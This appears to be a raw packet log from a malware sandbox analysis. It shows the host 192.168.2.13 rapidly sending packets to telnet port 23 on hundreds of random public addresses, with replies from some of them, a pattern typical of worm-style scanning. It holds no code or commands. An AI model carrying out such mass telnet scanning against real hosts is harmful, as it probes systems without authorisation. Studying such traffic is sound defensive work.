Jun 10, 2024 15:37:58.434807062 CEST	26049	23	192.168.2.13	184.139.198.55
Jun 10, 2024 15:37:58.434808016 CEST	26049	23	192.168.2.13	76.245.198.79
Jun 10, 2024 15:37:58.434811115 CEST	26049	23	192.168.2.13	42.248.223.37
Jun 10, 2024 15:37:58.434811115 CEST	26049	23	192.168.2.13	128.34.202.198
Jun 10, 2024 15:37:58.434811115 CEST	26049	23	192.168.2.13	81.69.232.84
Jun 10, 2024 15:37:58.434829950 CEST	26049	23	192.168.2.13	198.104.42.140
Jun 10, 2024 15:37:58.434847116 CEST	26049	23	192.168.2.13	184.246.128.197
Jun 10, 2024 15:37:58.434859991 CEST	26049	23	192.168.2.13	193.21.139.55
Jun 10, 2024 15:37:58.434919119 CEST	26049	23	192.168.2.13	100.234.162.220
Jun 10, 2024 15:37:58.434926987 CEST	26049	23	192.168.2.13	213.201.114.39
Jun 10, 2024 15:37:58.434936047 CEST	26049	23	192.168.2.13	51.172.195.120
Jun 10, 2024 15:37:58.434952974 CEST	26049	23	192.168.2.13	19.171.194.70
Jun 10, 2024 15:37:58.434952974 CEST	26049	23	192.168.2.13	209.203.9.212
Jun 10, 2024 15:37:58.434952974 CEST	26049	23	192.168.2.13	173.64.113.198
Jun 10, 2024 15:37:58.434967995 CEST	26049	23	192.168.2.13	222.49.219.68
Jun 10, 2024 15:37:58.434994936 CEST	26049	23	192.168.2.13	109.179.33.126
Jun 10, 2024 15:37:58.435005903 CEST	26049	23	192.168.2.13	67.134.100.140
Jun 10, 2024 15:37:58.435013056 CEST	26049	23	192.168.2.13	64.243.40.90
Jun 10, 2024 15:37:58.435026884 CEST	26049	23	192.168.2.13	109.27.120.27
Jun 10, 2024 15:37:58.435043097 CEST	26049	23	192.168.2.13	51.225.51.243
Jun 10, 2024 15:37:58.435046911 CEST	26049	23	192.168.2.13	2.170.129.148
Jun 10, 2024 15:37:58.435062885 CEST	26049	23	192.168.2.13	159.151.153.238
Jun 10, 2024 15:37:58.435067892 CEST	26049	23	192.168.2.13	218.213.241.4
Jun 10, 2024 15:37:58.435079098 CEST	26049	23	192.168.2.13	12.6.102.138
Jun 10, 2024 15:37:58.435101032 CEST	26049	23	192.168.2.13	154.215.49.136
Jun 10, 2024 15:37:58.435110092 CEST	26049	23	192.168.2.13	1.94.235.162
Jun 10, 2024 15:37:58.435120106 CEST	26049	23	192.168.2.13	201.156.109.172
Jun 10, 2024 15:37:58.435127974 CEST	26049	23	192.168.2.13	100.243.106.29
Jun 10, 2024 15:37:58.435188055 CEST	26049	23	192.168.2.13	176.246.218.70
Jun 10, 2024 15:37:58.435188055 CEST	26049	23	192.168.2.13	73.48.242.43
Jun 10, 2024 15:37:58.435194016 CEST	26049	23	192.168.2.13	165.169.236.37
Jun 10, 2024 15:37:58.435194969 CEST	26049	23	192.168.2.13	66.162.164.149
Jun 10, 2024 15:37:58.435194969 CEST	26049	23	192.168.2.13	17.109.242.86
Jun 10, 2024 15:37:58.435194969 CEST	26049	23	192.168.2.13	206.246.110.71
Jun 10, 2024 15:37:58.435204983 CEST	26049	23	192.168.2.13	60.46.157.139
Jun 10, 2024 15:37:58.435204983 CEST	26049	23	192.168.2.13	135.7.37.202
Jun 10, 2024 15:37:58.435204983 CEST	26049	23	192.168.2.13	151.153.32.7
Jun 10, 2024 15:37:58.435205936 CEST	26049	23	192.168.2.13	161.145.241.3
Jun 10, 2024 15:37:58.435208082 CEST	26049	23	192.168.2.13	42.245.217.159
Jun 10, 2024 15:37:58.435205936 CEST	26049	23	192.168.2.13	223.38.63.221
Jun 10, 2024 15:37:58.435208082 CEST	26049	23	192.168.2.13	175.163.35.128
Jun 10, 2024 15:37:58.435213089 CEST	26049	23	192.168.2.13	50.249.166.32
Jun 10, 2024 15:37:58.435224056 CEST	26049	23	192.168.2.13	206.41.253.202
Jun 10, 2024 15:37:58.435224056 CEST	26049	23	192.168.2.13	53.226.50.235
Jun 10, 2024 15:37:58.435239077 CEST	26049	23	192.168.2.13	97.201.9.157
Jun 10, 2024 15:37:58.435239077 CEST	26049	23	192.168.2.13	120.165.231.131
Jun 10, 2024 15:37:58.435239077 CEST	26049	23	192.168.2.13	182.171.143.245
Jun 10, 2024 15:37:58.435239077 CEST	26049	23	192.168.2.13	27.58.154.16
Jun 10, 2024 15:37:58.435239077 CEST	26049	23	192.168.2.13	138.195.101.109
Jun 10, 2024 15:37:58.435245037 CEST	26049	23	192.168.2.13	129.59.24.79
Jun 10, 2024 15:37:58.435246944 CEST	26049	23	192.168.2.13	66.71.95.26
Jun 10, 2024 15:37:58.435245037 CEST	26049	23	192.168.2.13	189.17.121.152
Jun 10, 2024 15:37:58.435250998 CEST	26049	23	192.168.2.13	156.1.146.68
Jun 10, 2024 15:37:58.435277939 CEST	26049	23	192.168.2.13	101.171.225.52
Jun 10, 2024 15:37:58.435281038 CEST	26049	23	192.168.2.13	202.135.153.253
Jun 10, 2024 15:37:58.435292959 CEST	26049	23	192.168.2.13	17.204.49.178
Jun 10, 2024 15:37:58.435295105 CEST	26049	23	192.168.2.13	197.0.46.53
Jun 10, 2024 15:37:58.435338974 CEST	26049	23	192.168.2.13	108.108.201.21
Jun 10, 2024 15:37:58.435359001 CEST	26049	23	192.168.2.13	9.177.227.195
Jun 10, 2024 15:37:58.435364962 CEST	26049	23	192.168.2.13	173.53.98.203
Jun 10, 2024 15:37:58.435369015 CEST	26049	23	192.168.2.13	77.187.147.187
Jun 10, 2024 15:37:58.435388088 CEST	26049	23	192.168.2.13	164.1.98.179
Jun 10, 2024 15:37:58.435396910 CEST	26049	23	192.168.2.13	57.70.89.151
Jun 10, 2024 15:37:58.435396910 CEST	26049	23	192.168.2.13	44.158.131.61
Jun 10, 2024 15:37:58.435414076 CEST	26049	23	192.168.2.13	208.240.113.197
Jun 10, 2024 15:37:58.435435057 CEST	26049	23	192.168.2.13	168.177.5.159
Jun 10, 2024 15:37:58.435447931 CEST	26049	23	192.168.2.13	201.214.98.69
Jun 10, 2024 15:37:58.435451984 CEST	26049	23	192.168.2.13	36.94.105.34
Jun 10, 2024 15:37:58.435455084 CEST	26049	23	192.168.2.13	41.192.162.36
Jun 10, 2024 15:37:58.435491085 CEST	26049	23	192.168.2.13	143.42.68.50
Jun 10, 2024 15:37:58.435497046 CEST	26049	23	192.168.2.13	198.109.109.221
Jun 10, 2024 15:37:58.435497999 CEST	26049	23	192.168.2.13	110.162.136.56
Jun 10, 2024 15:37:58.435498953 CEST	26049	23	192.168.2.13	105.36.61.133
Jun 10, 2024 15:37:58.435498953 CEST	26049	23	192.168.2.13	44.56.172.81
Jun 10, 2024 15:37:58.435511112 CEST	26049	23	192.168.2.13	57.92.3.171
Jun 10, 2024 15:37:58.435511112 CEST	26049	23	192.168.2.13	104.82.175.84
Jun 10, 2024 15:37:58.435513973 CEST	26049	23	192.168.2.13	173.19.159.245
Jun 10, 2024 15:37:58.435530901 CEST	26049	23	192.168.2.13	105.27.179.71
Jun 10, 2024 15:37:58.435547113 CEST	26049	23	192.168.2.13	70.210.54.113
Jun 10, 2024 15:37:58.435564041 CEST	26049	23	192.168.2.13	46.93.148.61
Jun 10, 2024 15:37:58.435564041 CEST	26049	23	192.168.2.13	216.62.157.206
Jun 10, 2024 15:37:58.435564041 CEST	26049	23	192.168.2.13	116.148.59.168
Jun 10, 2024 15:37:58.435578108 CEST	26049	23	192.168.2.13	115.66.112.224
Jun 10, 2024 15:37:58.435580969 CEST	26049	23	192.168.2.13	102.60.12.91
Jun 10, 2024 15:37:58.435580969 CEST	26049	23	192.168.2.13	222.73.198.208
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	8.236.126.221
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	93.71.51.69
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	109.37.141.207
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	89.230.57.228
Jun 10, 2024 15:37:58.435661077 CEST	26049	23	192.168.2.13	25.145.103.52
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	12.246.114.97
Jun 10, 2024 15:37:58.435661077 CEST	26049	23	192.168.2.13	190.145.163.37
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	42.222.181.188
Jun 10, 2024 15:37:58.435662985 CEST	26049	23	192.168.2.13	76.123.93.84
Jun 10, 2024 15:37:58.435659885 CEST	26049	23	192.168.2.13	96.250.118.96
Jun 10, 2024 15:37:58.435667992 CEST	26049	23	192.168.2.13	183.135.245.200
Jun 10, 2024 15:37:58.435664892 CEST	26049	23	192.168.2.13	42.235.187.49
Jun 10, 2024 15:37:58.435664892 CEST	26049	23	192.168.2.13	221.246.224.124
Jun 10, 2024 15:37:58.435664892 CEST	26049	23	192.168.2.13	119.40.4.36
Jun 10, 2024 15:37:58.435671091 CEST	26049	23	192.168.2.13	45.206.218.250
Jun 10, 2024 15:37:58.435671091 CEST	26049	23	192.168.2.13	37.172.34.219
Jun 10, 2024 15:37:58.435671091 CEST	26049	23	192.168.2.13	57.219.233.84
Jun 10, 2024 15:37:58.435671091 CEST	26049	23	192.168.2.13	90.173.196.107
Jun 10, 2024 15:37:58.435688972 CEST	26049	23	192.168.2.13	5.16.47.154
Jun 10, 2024 15:37:58.435691118 CEST	26049	23	192.168.2.13	222.32.137.153
Jun 10, 2024 15:37:58.435709000 CEST	26049	23	192.168.2.13	65.40.214.71
Jun 10, 2024 15:37:58.435709000 CEST	26049	23	192.168.2.13	124.88.64.232
Jun 10, 2024 15:37:58.435709000 CEST	26049	23	192.168.2.13	216.98.67.120
Jun 10, 2024 15:37:58.435710907 CEST	26049	23	192.168.2.13	155.75.240.185
Jun 10, 2024 15:37:58.435717106 CEST	26049	23	192.168.2.13	191.255.50.88
Jun 10, 2024 15:37:58.435719967 CEST	26049	23	192.168.2.13	109.27.109.48
Jun 10, 2024 15:37:58.435745955 CEST	26049	23	192.168.2.13	162.220.241.178
Jun 10, 2024 15:37:58.435745955 CEST	26049	23	192.168.2.13	187.11.130.123
Jun 10, 2024 15:37:58.435770035 CEST	26049	23	192.168.2.13	174.45.239.149
Jun 10, 2024 15:37:58.435800076 CEST	26049	23	192.168.2.13	205.254.221.208
Jun 10, 2024 15:37:58.435810089 CEST	26049	23	192.168.2.13	40.243.72.104
Jun 10, 2024 15:37:58.435822964 CEST	26049	23	192.168.2.13	120.20.178.77
Jun 10, 2024 15:37:58.435823917 CEST	26049	23	192.168.2.13	31.97.187.112
Jun 10, 2024 15:37:58.435825109 CEST	26049	23	192.168.2.13	164.214.215.9
Jun 10, 2024 15:37:58.435825109 CEST	26049	23	192.168.2.13	12.103.169.22
Jun 10, 2024 15:37:58.435833931 CEST	26049	23	192.168.2.13	196.87.218.185
Jun 10, 2024 15:37:58.435833931 CEST	26049	23	192.168.2.13	205.43.27.201
Jun 10, 2024 15:37:58.435833931 CEST	26049	23	192.168.2.13	134.65.153.178
Jun 10, 2024 15:37:58.435833931 CEST	26049	23	192.168.2.13	177.21.52.234
Jun 10, 2024 15:37:58.435833931 CEST	26049	23	192.168.2.13	154.41.63.230
Jun 10, 2024 15:37:58.435833931 CEST	26049	23	192.168.2.13	165.235.105.174
Jun 10, 2024 15:37:58.435858011 CEST	26049	23	192.168.2.13	74.153.175.162
Jun 10, 2024 15:37:58.435868025 CEST	26049	23	192.168.2.13	84.201.14.155
Jun 10, 2024 15:37:58.435875893 CEST	26049	23	192.168.2.13	71.129.181.43
Jun 10, 2024 15:37:58.435902119 CEST	26049	23	192.168.2.13	107.171.22.122
Jun 10, 2024 15:37:58.435904026 CEST	26049	23	192.168.2.13	86.17.243.66
Jun 10, 2024 15:37:58.435973883 CEST	26049	23	192.168.2.13	190.134.164.63
Jun 10, 2024 15:37:58.435977936 CEST	26049	23	192.168.2.13	202.182.45.230
Jun 10, 2024 15:37:58.435977936 CEST	26049	23	192.168.2.13	205.128.69.193
Jun 10, 2024 15:37:58.435980082 CEST	26049	23	192.168.2.13	158.26.227.92
Jun 10, 2024 15:37:58.435980082 CEST	26049	23	192.168.2.13	40.20.46.119
Jun 10, 2024 15:37:58.435986996 CEST	26049	23	192.168.2.13	101.54.6.174
Jun 10, 2024 15:37:58.435986996 CEST	26049	23	192.168.2.13	59.56.254.62
Jun 10, 2024 15:37:58.435992002 CEST	26049	23	192.168.2.13	203.57.87.102
Jun 10, 2024 15:37:58.435992002 CEST	26049	23	192.168.2.13	207.58.67.69
Jun 10, 2024 15:37:58.435993910 CEST	26049	23	192.168.2.13	25.43.177.128
Jun 10, 2024 15:37:58.435992002 CEST	26049	23	192.168.2.13	1.84.84.214
Jun 10, 2024 15:37:58.435992002 CEST	26049	23	192.168.2.13	204.214.87.137
Jun 10, 2024 15:37:58.435996056 CEST	26049	23	192.168.2.13	107.125.84.76
Jun 10, 2024 15:37:58.435997963 CEST	26049	23	192.168.2.13	91.177.247.187
Jun 10, 2024 15:37:58.435997963 CEST	26049	23	192.168.2.13	71.36.70.51
Jun 10, 2024 15:37:58.435997963 CEST	26049	23	192.168.2.13	73.13.141.221
Jun 10, 2024 15:37:58.435997963 CEST	26049	23	192.168.2.13	97.94.192.30
Jun 10, 2024 15:37:58.435998917 CEST	26049	23	192.168.2.13	41.137.180.220
Jun 10, 2024 15:37:58.435998917 CEST	26049	23	192.168.2.13	83.163.200.173
Jun 10, 2024 15:37:58.436024904 CEST	26049	23	192.168.2.13	159.253.156.228
Jun 10, 2024 15:37:58.436027050 CEST	26049	23	192.168.2.13	161.201.139.233
Jun 10, 2024 15:37:58.436027050 CEST	26049	23	192.168.2.13	120.183.125.25
Jun 10, 2024 15:37:58.436027050 CEST	26049	23	192.168.2.13	1.24.107.160
Jun 10, 2024 15:37:58.436027050 CEST	26049	23	192.168.2.13	40.171.51.58
Jun 10, 2024 15:37:58.436037064 CEST	26049	23	192.168.2.13	143.81.122.70
Jun 10, 2024 15:37:58.436043978 CEST	26049	23	192.168.2.13	111.40.156.107
Jun 10, 2024 15:37:58.436050892 CEST	26049	23	192.168.2.13	99.52.158.82
Jun 10, 2024 15:37:58.436070919 CEST	26049	23	192.168.2.13	108.99.28.0
Jun 10, 2024 15:37:58.436070919 CEST	26049	23	192.168.2.13	39.197.152.33
Jun 10, 2024 15:37:58.436088085 CEST	26049	23	192.168.2.13	9.131.12.103
Jun 10, 2024 15:37:58.436095953 CEST	26049	23	192.168.2.13	40.43.105.50
Jun 10, 2024 15:37:58.436166048 CEST	26049	23	192.168.2.13	65.125.236.130
Jun 10, 2024 15:37:58.436166048 CEST	26049	23	192.168.2.13	57.176.14.119
Jun 10, 2024 15:37:58.436166048 CEST	26049	23	192.168.2.13	4.160.59.90
Jun 10, 2024 15:37:58.436168909 CEST	26049	23	192.168.2.13	93.177.117.61
Jun 10, 2024 15:37:58.436170101 CEST	26049	23	192.168.2.13	47.19.138.20
Jun 10, 2024 15:37:58.436172009 CEST	26049	23	192.168.2.13	45.177.98.144
Jun 10, 2024 15:37:58.436172009 CEST	26049	23	192.168.2.13	165.23.121.82
Jun 10, 2024 15:37:58.436172009 CEST	26049	23	192.168.2.13	119.77.98.161
Jun 10, 2024 15:37:58.436176062 CEST	26049	23	192.168.2.13	130.11.102.199
Jun 10, 2024 15:37:58.436175108 CEST	26049	23	192.168.2.13	216.227.214.135
Jun 10, 2024 15:37:58.436176062 CEST	26049	23	192.168.2.13	103.239.59.112
Jun 10, 2024 15:37:58.436177015 CEST	26049	23	192.168.2.13	9.121.101.180
Jun 10, 2024 15:37:58.436176062 CEST	26049	23	192.168.2.13	66.87.90.224
Jun 10, 2024 15:37:58.436175108 CEST	26049	23	192.168.2.13	190.141.124.206
Jun 10, 2024 15:37:58.436180115 CEST	26049	23	192.168.2.13	190.204.178.211
Jun 10, 2024 15:37:58.436181068 CEST	26049	23	192.168.2.13	76.169.88.76
Jun 10, 2024 15:37:58.436182976 CEST	26049	23	192.168.2.13	111.107.245.162
Jun 10, 2024 15:37:58.436192989 CEST	26049	23	192.168.2.13	65.10.6.179
Jun 10, 2024 15:37:58.436192989 CEST	26049	23	192.168.2.13	219.56.215.25
Jun 10, 2024 15:37:58.436199903 CEST	26049	23	192.168.2.13	198.196.238.94
Jun 10, 2024 15:37:58.436211109 CEST	26049	23	192.168.2.13	164.30.234.118
Jun 10, 2024 15:37:58.436211109 CEST	26049	23	192.168.2.13	132.10.73.79
Jun 10, 2024 15:37:58.436218977 CEST	26049	23	192.168.2.13	125.164.23.124
Jun 10, 2024 15:37:58.436228037 CEST	26049	23	192.168.2.13	32.142.136.96
Jun 10, 2024 15:37:58.436304092 CEST	26049	23	192.168.2.13	38.96.88.10
Jun 10, 2024 15:37:58.436307907 CEST	26049	23	192.168.2.13	75.67.196.229
Jun 10, 2024 15:37:58.436307907 CEST	26049	23	192.168.2.13	50.75.214.252
Jun 10, 2024 15:37:58.436316967 CEST	26049	23	192.168.2.13	182.236.184.51
Jun 10, 2024 15:37:58.436319113 CEST	26049	23	192.168.2.13	39.243.190.181
Jun 10, 2024 15:37:58.436321974 CEST	26049	23	192.168.2.13	124.121.191.188
Jun 10, 2024 15:37:58.436335087 CEST	26049	23	192.168.2.13	186.72.96.4
Jun 10, 2024 15:37:58.436374903 CEST	26049	23	192.168.2.13	92.134.95.48
Jun 10, 2024 15:37:58.436395884 CEST	26049	23	192.168.2.13	197.152.224.238
Jun 10, 2024 15:37:58.436395884 CEST	26049	23	192.168.2.13	134.211.186.43
Jun 10, 2024 15:37:58.436395884 CEST	26049	23	192.168.2.13	223.100.103.1
Jun 10, 2024 15:37:58.436466932 CEST	26049	23	192.168.2.13	70.73.181.197
Jun 10, 2024 15:37:58.436474085 CEST	26049	23	192.168.2.13	109.187.83.5
Jun 10, 2024 15:37:58.436474085 CEST	26049	23	192.168.2.13	17.131.23.243
Jun 10, 2024 15:37:58.436474085 CEST	26049	23	192.168.2.13	9.174.214.160
Jun 10, 2024 15:37:58.436474085 CEST	26049	23	192.168.2.13	158.98.201.212
Jun 10, 2024 15:37:58.436479092 CEST	26049	23	192.168.2.13	116.57.6.68
Jun 10, 2024 15:37:58.436486006 CEST	26049	23	192.168.2.13	158.84.29.159
Jun 10, 2024 15:37:58.436486006 CEST	26049	23	192.168.2.13	113.249.196.233
Jun 10, 2024 15:37:58.436486006 CEST	26049	23	192.168.2.13	202.138.93.178
Jun 10, 2024 15:37:58.436486959 CEST	26049	23	192.168.2.13	23.85.95.36
Jun 10, 2024 15:37:58.436491013 CEST	26049	23	192.168.2.13	116.220.183.75
Jun 10, 2024 15:37:58.436491013 CEST	26049	23	192.168.2.13	180.91.116.84
Jun 10, 2024 15:37:58.436491013 CEST	26049	23	192.168.2.13	43.86.28.152
Jun 10, 2024 15:37:58.436496973 CEST	26049	23	192.168.2.13	206.60.137.132
Jun 10, 2024 15:37:58.436496973 CEST	26049	23	192.168.2.13	128.28.27.63
Jun 10, 2024 15:37:58.436496973 CEST	26049	23	192.168.2.13	54.53.203.201
Jun 10, 2024 15:37:58.436502934 CEST	26049	23	192.168.2.13	143.239.208.30
Jun 10, 2024 15:37:58.436503887 CEST	26049	23	192.168.2.13	131.87.205.1
Jun 10, 2024 15:37:58.436511040 CEST	26049	23	192.168.2.13	155.106.171.247
Jun 10, 2024 15:37:58.436521053 CEST	26049	23	192.168.2.13	40.227.82.94
Jun 10, 2024 15:37:58.436522961 CEST	26049	23	192.168.2.13	66.146.89.3
Jun 10, 2024 15:37:58.436536074 CEST	26049	23	192.168.2.13	174.211.86.50
Jun 10, 2024 15:37:58.436538935 CEST	26049	23	192.168.2.13	74.65.245.4
Jun 10, 2024 15:37:58.436542988 CEST	26049	23	192.168.2.13	62.40.237.244
Jun 10, 2024 15:37:58.436556101 CEST	26049	23	192.168.2.13	160.224.21.201
Jun 10, 2024 15:37:58.436574936 CEST	26049	23	192.168.2.13	104.121.157.232
Jun 10, 2024 15:37:58.436641932 CEST	26049	23	192.168.2.13	166.121.32.23
Jun 10, 2024 15:37:58.438225031 CEST	23	26049	173.87.116.193	192.168.2.13
Jun 10, 2024 15:37:58.438249111 CEST	23	26049	125.212.207.230	192.168.2.13
Jun 10, 2024 15:37:58.438262939 CEST	23	26049	135.237.201.13	192.168.2.13
Jun 10, 2024 15:37:58.438308954 CEST	26049	23	192.168.2.13	135.237.201.13
Jun 10, 2024 15:37:58.438316107 CEST	26049	23	192.168.2.13	125.212.207.230
Jun 10, 2024 15:37:58.438317060 CEST	26049	23	192.168.2.13	173.87.116.193
Jun 10, 2024 15:37:58.438914061 CEST	23	26049	51.4.201.163	192.168.2.13
Jun 10, 2024 15:37:58.438930035 CEST	23	26049	96.177.106.95	192.168.2.13
Jun 10, 2024 15:37:58.438963890 CEST	23	26049	32.204.162.123	192.168.2.13
Jun 10, 2024 15:37:58.438966990 CEST	26049	23	192.168.2.13	96.177.106.95
Jun 10, 2024 15:37:58.438977957 CEST	23	26049	213.79.9.22	192.168.2.13
Jun 10, 2024 15:37:58.438983917 CEST	26049	23	192.168.2.13	51.4.201.163
Jun 10, 2024 15:37:58.438991070 CEST	23	26049	107.185.45.46	192.168.2.13
Jun 10, 2024 15:37:58.439004898 CEST	23	26049	114.149.158.173	192.168.2.13
Jun 10, 2024 15:37:58.439019918 CEST	23	26049	68.161.203.180	192.168.2.13
Jun 10, 2024 15:37:58.439033031 CEST	23	26049	132.215.221.250	192.168.2.13
Jun 10, 2024 15:37:58.439043045 CEST	26049	23	192.168.2.13	213.79.9.22
Jun 10, 2024 15:37:58.439044952 CEST	23	26049	218.209.158.189	192.168.2.13
Jun 10, 2024 15:37:58.439050913 CEST	26049	23	192.168.2.13	107.185.45.46
Jun 10, 2024 15:37:58.439050913 CEST	26049	23	192.168.2.13	114.149.158.173
Jun 10, 2024 15:37:58.439050913 CEST	26049	23	192.168.2.13	68.161.203.180
Jun 10, 2024 15:37:58.439059019 CEST	23	26049	146.77.88.171	192.168.2.13
Jun 10, 2024 15:37:58.439073086 CEST	23	26049	18.181.89.22	192.168.2.13
Jun 10, 2024 15:37:58.439074993 CEST	26049	23	192.168.2.13	32.204.162.123
Jun 10, 2024 15:37:58.439074993 CEST	26049	23	192.168.2.13	218.209.158.189
Jun 10, 2024 15:37:58.439076900 CEST	26049	23	192.168.2.13	132.215.221.250
Jun 10, 2024 15:37:58.439085960 CEST	23	26049	222.55.142.174	192.168.2.13
Jun 10, 2024 15:37:58.439107895 CEST	26049	23	192.168.2.13	18.181.89.22
Jun 10, 2024 15:37:58.439107895 CEST	26049	23	192.168.2.13	222.55.142.174
Jun 10, 2024 15:37:58.439109087 CEST	26049	23	192.168.2.13	146.77.88.171
Jun 10, 2024 15:37:58.439110994 CEST	23	26049	186.246.195.187	192.168.2.13
Jun 10, 2024 15:37:58.439126015 CEST	23	26049	87.202.96.40	192.168.2.13
Jun 10, 2024 15:37:58.439138889 CEST	23	26049	163.160.54.54	192.168.2.13
Jun 10, 2024 15:37:58.439152956 CEST	23	26049	93.190.24.11	192.168.2.13
Jun 10, 2024 15:37:58.439161062 CEST	26049	23	192.168.2.13	186.246.195.187
Jun 10, 2024 15:37:58.439166069 CEST	23	26049	172.136.165.150	192.168.2.13
Jun 10, 2024 15:37:58.439168930 CEST	26049	23	192.168.2.13	163.160.54.54
Jun 10, 2024 15:37:58.439178944 CEST	23	26049	32.199.108.90	192.168.2.13
Jun 10, 2024 15:37:58.439182997 CEST	26049	23	192.168.2.13	87.202.96.40
Jun 10, 2024 15:37:58.439189911 CEST	26049	23	192.168.2.13	172.136.165.150
Jun 10, 2024 15:37:58.439192057 CEST	23	26049	181.116.62.108	192.168.2.13
Jun 10, 2024 15:37:58.439201117 CEST	26049	23	192.168.2.13	93.190.24.11
Jun 10, 2024 15:37:58.439204931 CEST	23	26049	110.210.8.107	192.168.2.13
Jun 10, 2024 15:37:58.439205885 CEST	26049	23	192.168.2.13	32.199.108.90
Jun 10, 2024 15:37:58.439220905 CEST	23	26049	50.0.195.92	192.168.2.13
Jun 10, 2024 15:37:58.439225912 CEST	26049	23	192.168.2.13	181.116.62.108
Jun 10, 2024 15:37:58.439234018 CEST	23	26049	164.60.105.204	192.168.2.13
Jun 10, 2024 15:37:58.439238071 CEST	26049	23	192.168.2.13	110.210.8.107
Jun 10, 2024 15:37:58.439245939 CEST	23	26049	144.47.107.187	192.168.2.13
Jun 10, 2024 15:37:58.439249039 CEST	26049	23	192.168.2.13	50.0.195.92
Jun 10, 2024 15:37:58.439259052 CEST	23	26049	101.0.241.188	192.168.2.13
Jun 10, 2024 15:37:58.439274073 CEST	26049	23	192.168.2.13	164.60.105.204
Jun 10, 2024 15:37:58.439279079 CEST	23	26049	45.211.194.205	192.168.2.13
Jun 10, 2024 15:37:58.439292908 CEST	23	26049	122.156.84.221	192.168.2.13
Jun 10, 2024 15:37:58.439306021 CEST	23	26049	79.64.51.144	192.168.2.13
Jun 10, 2024 15:37:58.439313889 CEST	26049	23	192.168.2.13	144.47.107.187
Jun 10, 2024 15:37:58.439316988 CEST	26049	23	192.168.2.13	45.211.194.205
Jun 10, 2024 15:37:58.439317942 CEST	23	26049	4.146.12.76	192.168.2.13
Jun 10, 2024 15:37:58.439318895 CEST	26049	23	192.168.2.13	101.0.241.188
Jun 10, 2024 15:37:58.439322948 CEST	26049	23	192.168.2.13	122.156.84.221
Jun 10, 2024 15:37:58.439332962 CEST	26049	23	192.168.2.13	79.64.51.144
Jun 10, 2024 15:37:58.439332962 CEST	23	26049	91.118.235.84	192.168.2.13
Jun 10, 2024 15:37:58.439346075 CEST	23	26049	117.7.158.134	192.168.2.13
Jun 10, 2024 15:37:58.439358950 CEST	23	26049	153.63.20.187	192.168.2.13
Jun 10, 2024 15:37:58.439363003 CEST	26049	23	192.168.2.13	4.146.12.76
Jun 10, 2024 15:37:58.439367056 CEST	26049	23	192.168.2.13	91.118.235.84
Jun 10, 2024 15:37:58.439383984 CEST	23	26049	18.63.185.184	192.168.2.13
Jun 10, 2024 15:37:58.439384937 CEST	26049	23	192.168.2.13	117.7.158.134
Jun 10, 2024 15:37:58.439393044 CEST	26049	23	192.168.2.13	153.63.20.187
Jun 10, 2024 15:37:58.439398050 CEST	23	26049	72.115.76.96	192.168.2.13
Jun 10, 2024 15:37:58.439410925 CEST	23	26049	174.41.100.150	192.168.2.13
Jun 10, 2024 15:37:58.439423084 CEST	23	26049	52.34.186.234	192.168.2.13
Jun 10, 2024 15:37:58.439424992 CEST	26049	23	192.168.2.13	18.63.185.184
Jun 10, 2024 15:37:58.439435959 CEST	23	26049	174.5.116.14	192.168.2.13
Jun 10, 2024 15:37:58.439440012 CEST	26049	23	192.168.2.13	72.115.76.96
Jun 10, 2024 15:37:58.439449072 CEST	23	26049	112.8.190.180	192.168.2.13
Jun 10, 2024 15:37:58.439461946 CEST	23	26049	118.103.225.24	192.168.2.13
Jun 10, 2024 15:37:58.439476967 CEST	26049	23	192.168.2.13	112.8.190.180
Jun 10, 2024 15:37:58.439482927 CEST	26049	23	192.168.2.13	52.34.186.234
Jun 10, 2024 15:37:58.439486027 CEST	26049	23	192.168.2.13	174.5.116.14
Jun 10, 2024 15:37:58.439487934 CEST	26049	23	192.168.2.13	174.41.100.150
Jun 10, 2024 15:37:58.439491034 CEST	26049	23	192.168.2.13	118.103.225.24
Jun 10, 2024 15:37:58.439847946 CEST	23	26049	17.149.191.92	192.168.2.13
Jun 10, 2024 15:37:58.439862013 CEST	23	26049	205.253.14.196	192.168.2.13
Jun 10, 2024 15:37:58.439874887 CEST	23	26049	85.10.50.135	192.168.2.13
Jun 10, 2024 15:37:58.439887047 CEST	23	26049	101.64.143.75	192.168.2.13
Jun 10, 2024 15:37:58.439892054 CEST	23	26049	105.66.169.159	192.168.2.13
Jun 10, 2024 15:37:58.439897060 CEST	23	26049	150.168.58.113	192.168.2.13
Jun 10, 2024 15:37:58.439902067 CEST	23	26049	99.177.223.89	192.168.2.13
Jun 10, 2024 15:37:58.439912081 CEST	26049	23	192.168.2.13	17.149.191.92
Jun 10, 2024 15:37:58.439940929 CEST	23	26049	197.107.167.28	192.168.2.13
Jun 10, 2024 15:37:58.439954042 CEST	23	26049	130.32.142.3	192.168.2.13
Jun 10, 2024 15:37:58.439956903 CEST	26049	23	192.168.2.13	101.64.143.75
Jun 10, 2024 15:37:58.439956903 CEST	26049	23	192.168.2.13	85.10.50.135
Jun 10, 2024 15:37:58.439961910 CEST	26049	23	192.168.2.13	205.253.14.196
Jun 10, 2024 15:37:58.439961910 CEST	26049	23	192.168.2.13	150.168.58.113
Jun 10, 2024 15:37:58.439966917 CEST	23	26049	93.133.135.212	192.168.2.13
Jun 10, 2024 15:37:58.439980984 CEST	26049	23	192.168.2.13	99.177.223.89
Jun 10, 2024 15:37:58.439980984 CEST	26049	23	192.168.2.13	105.66.169.159
Jun 10, 2024 15:37:58.439980984 CEST	26049	23	192.168.2.13	197.107.167.28
Jun 10, 2024 15:37:58.439992905 CEST	23	26049	194.114.95.197	192.168.2.13
Jun 10, 2024 15:37:58.440006971 CEST	23	26049	116.57.103.152	192.168.2.13
Jun 10, 2024 15:37:58.440018892 CEST	23	26049	71.255.88.187	192.168.2.13
Jun 10, 2024 15:37:58.440038919 CEST	26049	23	192.168.2.13	194.114.95.197
Jun 10, 2024 15:37:58.440042019 CEST	26049	23	192.168.2.13	93.133.135.212
Jun 10, 2024 15:37:58.440043926 CEST	23	26049	143.24.152.47	192.168.2.13
Jun 10, 2024 15:37:58.440056086 CEST	26049	23	192.168.2.13	116.57.103.152
Jun 10, 2024 15:37:58.440056086 CEST	26049	23	192.168.2.13	71.255.88.187
Jun 10, 2024 15:37:58.440057993 CEST	23	26049	130.63.23.172	192.168.2.13
